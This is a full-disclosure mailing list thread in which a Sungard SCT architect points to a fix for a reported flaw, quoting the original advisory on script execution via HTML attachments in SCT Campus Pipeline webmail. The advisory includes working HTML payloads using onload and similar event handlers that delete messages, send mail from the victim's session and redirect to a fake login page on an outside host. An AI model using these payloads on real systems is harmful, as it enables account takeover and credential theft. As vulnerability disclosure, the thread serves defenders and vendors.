full-disclosure - Re: SCT javascript execution vulnerability

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From: jnielsen at sct.com (jnielsen@....com)
Subject: Re: SCT javascript execution vulnerability

A solution to this problem for the SCT Campus Pipeline Web Platform, SCT 
Luminis Platform II, and SCT Luminis Platform III product lines is 
available at our customer support site under answer ID 923. The customer 
support site is linked from the main Sungard SCT site at:

http://www.sct.com

For further assistance with this issue or other technical issues with 
these product lines, please contact our customer service department at 
cpcustomersupport@....com.


Best Regards,

-Jan


Jan Nielsen
Luminis System Architect
Sungard SCT, Inc.


spiffomatic 64 wrote:

>
> Vendor : SCT
> URL : 
> http://www.sct.com/Education/Products/Connected_Learning/CampusPipeline.html 
>
> Version : CampusPipeline
> Risk : javascript execution
>
> Description: SCT Campus Pipeline is the Web platform of choice at over 
> 175 institutions. It improves efficiency, builds community, and 
> provides freedom of choice by integrating disparate systems and 
> applications into a unified whole. SCT Campus Pipeline provides an 
> institution?s constituents ? students, faculty, administration, and 
> alumni ? with centralized Web access to information, services, and 
> communities.
>
> Javascript Execution: The email handling portion of this software 
> displays certain attachments such as; html, bmp. Jpg, gif, etc, in the 
> body of the email. It does a noble job of filtering scripting in html 
> files but certain on event handles remain untouched such as: onload(), 
> onmouseover(), onclick(), etc. This is a huge issue seeing as the html 
> page is logged in with the same permissions as the user who views it. 
> The software also uses javascript functions for all of its commands. 
> This allows an hmlt page execute any command such as deletemessage() 
> from <body onload=?deletemessage()?> . This such instance will delete 
> the email with that html attached to it. When linked to another page 
> with <body onload=?location.replace(?site?)?> u can execute as much 
> javascript, or any other scripting method as you would like. This hole 
> leads to an attached html having full control over the victims email 
> account just by the victim viewing the email. Because the attacker 
> would have the users session still set, he could potentially execute 
> any command this software uses, such as check grades etc?
>
> Solution: The easiest way would be to just disallow previewing of 
> attachments. No other web email service allows this, and for good 
> reason. Another solution would be to filter all onevent handles such 
> as onload(), onmouseover(), onclick(), etc.
>
> Credits: Credits goto http://hackthissite.org. It provided a nice, 
> open, legal environment for me to try new things and learn from those 
> who know. A place where you are not reprimanded even if u deface a 
> page or two. A place where I started with no knowledge and in less 
> than a year found new vulnerabilities of my own. Thank you 
> http://hackthissite.org. Lab rats: Ashley, Amy, Nick, Shrinidhi, 
> Charbel and most importantly to Halley, you give me the strength and 
> courage to do all that I do, without you I am nothing. Thank you 
> sweetheart.
>
> Exploit: This exemplifies three different onevent handles used:
> <html>
> <body onload="alert('load')">
> <img src="http://www.hackthissite.org/avatars/hts.jpg" 
> onmouseover="alert('mouse')">;
> <img src="http://www.hackthissite.org/avatars/hts.jpg" 
> onclick="alert('clicked')">;
> </body>
> </html>
>
>
> This exploit will delete the current message:
> <html><body onload=?deleteMessage()?></body><html>
>
> This exploit will open a new email message with your desired:
> <html><body 
> onload="location.replace('http://website.com/cp/email/composeBody?function=new&to=Spiffomatic64@hotmail.com&subject=I 
> love you matt&body=I was owned by matt')"></body></html>
>
> Creating a fake session timeout screen with login could also be a 
> problem as shown here:
> <html><body 
> onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')"></body></html> 
>
>
> Spiffomatic64
> Hacking is an art-form
>
> _________________________________________________________________
> MSN Toolbar provides one-click access to Hotmail from any Web page ? 
> FREE download! http://toolbar.msn.com/go/onm00200413ave/direct/01/
>
>